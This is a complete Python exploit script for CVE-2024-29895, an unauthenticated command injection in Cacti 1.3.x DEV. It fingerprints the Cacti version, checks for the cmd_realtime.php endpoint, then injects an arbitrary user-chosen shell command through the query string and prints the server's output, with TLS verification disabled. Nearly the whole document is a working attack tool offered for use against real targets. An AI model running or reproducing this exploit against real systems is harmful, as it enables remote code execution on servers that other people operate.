# CVE-2024-29895 - RCE in Cacti #A command injection vulnerability allows any unauthenticated user to execute arbitrary command on the server when register_argc_argv option of PHP is On. # http://target/cacti/cmd_realtime.php?1+1&&calc.exe+1+1+1 # Cacti (PHP) # Affected versions: # 1.3.x DEV # Usage: python3 cve-2024-29895.py http://target.com:8080/ "id" # Developed by @stuub import requests import argparse import re import urllib3 from urllib.parse import urlparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) #ANSI Colors red = "\033[91m" green = "\033[92m" yellow = "\033[93m" purple = "\033[95m" reset = "\033[0m" def banner(): print(f""" ▄████▄ ▄▄▄ ▄████▄ ▄▄▄█████▓ ██▓ ██▀███ ▄████▄ ▓█████ ▒██▀ ▀█ ▒████▄ ▒██▀ ▀█ ▓ ██▒ ▓▒▓██▒ ▓██ ▒ ██▒▒██▀ ▀█ ▓█ ▀ ▒▓█ ▄ ▒██ ▀█▄ ▒▓█ ▄ ▒ ▓██░ ▒░▒██▒ ▓██ ░▄█ ▒▒▓█ ▄ ▒███ ▒▓▓▄ ▄██▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░ ▓██▓ ░ ░██░ ▒██▀▀█▄ ▒▓▓▄ ▄██▒▒▓█ ▄ ▒ ▓███▀ ░ ▓█ ▓██▒▒ ▓███▀ ░ ▒██▒ ░ ░██░ ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒ ░ ░▒ ▒ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░ ▒ ░░ ░▓ ░ ▒▓ ░▒▓░░ ░▒ ▒ ░░░ ▒░ ░ ░ ▒ ▒ ▒▒ ░ ░ ▒ ░ ▒ ░ ░▒ ░ ▒░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░ ░ ▒ ░ ░░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ {yellow}CVE-2024-29895 - RCE in Cacti 1.3.x DEV{reset} {purple}Developed by @stuub{reset} """) def get_cacti_version(url): try: response = requests.get(url, verify=False) patterns = [ r"Cacti (\d+\.\d+\.\d+)", r"var cactiVersion='(\d+\.\d+\.\d+)'", r"Version (\d+\.\d+\.\d+)" ] for pattern in patterns: version = re.search(pattern, response.text) if version: return version.group(1) return None except requests.exceptions.RequestException as e: print(f"{red}[!]{reset} Request failed: {e}") return None def validate(url): endpoint = "/cacti/cmd_realtime.php" url = url + endpoint print(f"{green}[*]{reset} Validating Target URL: {url}") response = requests.get(url, verify=False) if response.status_code == 200: print(f"{green}[*]{reset} Found Cacti installation") return True else: print(f"{red}[!]{reset} Endpoint not found") return False def RCE(url, command): payload = url + "/cacti/cmd_realtime.php?1+1&&" + command + "+1+1+1" print (f"{green}[*]{reset} Targeting URL: {yellow}{payload}{reset}") try: response = requests.get(payload, verify=False) except requests.exceptions.RequestException as e: print(f"{red}[!]{reset} Request failed: {e}") return print(f"\n{green}[*]{reset} Response:") formatted = response.text.replace("
", "\n") print(formatted) def main(): parser = argparse.ArgumentParser(description="CVE-2024-29895 - RCE in Cacti") parser.add_argument('-u', '--url', help="URL of the target") parser.add_argument('-c', '--command', help="Command to execute") args = parser.parse_args() url = args.url parsedUrl = urlparse(url) strippedUrl = f"{parsedUrl.scheme}://{parsedUrl.netloc}" url = strippedUrl command = args.command version = get_cacti_version(url) if version: print(f"{green}[*]{reset} Found Cacti version: {version}") if not version.startswith('1.3.'): proceed = input(f"{yellow}[!]{reset} The detected Cacti version may not be vulnerable. Do you want to proceed? (y/n): ") if proceed.lower() != 'y': print(f"{red}[!]{reset} Exiting.") return else: print(f"{red}[!]{reset} Unable to determine Cacti version.") proceed = input(f"{yellow}[!]{reset} Do you want to proceed? (y/n): ") if proceed.lower() != 'y': print(f"{red}[!]{reset} Exiting.") return if url is None or command is None: print(f"{green}Usage:{reset} python3 cve-2024-29895.py http://target.com:8080/ -c 'id'") exit() if validate(url): RCE(url, command) if __name__ == "__main__": banner() main()